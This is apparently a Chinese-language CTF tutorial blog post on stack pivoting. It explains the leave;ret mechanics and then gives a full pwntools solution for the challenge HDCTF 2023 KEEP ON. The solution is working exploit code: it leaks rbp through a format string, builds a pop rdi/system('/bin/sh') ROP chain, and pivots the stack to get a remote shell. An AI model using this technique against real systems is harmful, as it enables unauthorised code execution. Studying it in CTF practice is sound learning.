PWN入门-栈迁移
基本原理
在正常栈溢出时,需要设计ebp和Return Address俩。ebp篡改为需要将栈迁移到的地址-4,Return Address需要篡改为某个含leave;retn;
的ROPgadget。
实际运行时,先运行原先的leave;retn;
:mov esp,ebp;
时esp指向被篡改的ebp;pop ebp;
将篡改的地址放入ebp,且esp上移,指向被篡改的Return Address;pop eip;
将ROPgadget的地址放入eip,篡改执行流。
在进入ROPgadget后,再次执行leave;retn;
:mov esp,ebp
时将迁移地址-4移入esp,栈顶指针被劫持,发生栈迁移;pop ebp;
时ebp仍为迁移地址-4,但esp拉高4字节,指向迁移地址;pop eip
时迁移地址移入eip,成功篡改执行流。
做题
[HDCTF 2023]KEEP ON
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context(log_level='debug',os='linux',arch='amd64') p=remote("node4.anna.nssctf.cn",28107) elf=ELF("./attachment") rop=ROP(elf)
p.recvuntil("please show me your name: \n") payload1=b'%16$p' p.send(payload1) p.recvuntil("hello,0x") old_rbp=int(p.recv(12),16)
stack_target=old_rbp-0x60-0x8 pop_rdi_ret_addr=p64(rop.find_gadget(['pop rdi','ret'])[0]) str_bin_sh_addr=p64(stack_target+0x8+0x18) system_addr=elf.plt["system"] str_bin_sh=b'/bin/sh\x00' payload2=flat([pop_rdi_ret_addr,str_bin_sh_addr,system_addr,str_bin_sh]) payload2=payload2.ljust(0x50,b'a') leave_ret_addr=p64(rop.find_gadget(["leave","ret"])[0]) payload2+=flat([stack_target,leave_ret_addr]) p.recvuntil("keep on !\n") p.sendline(payload2) p.interactive()
|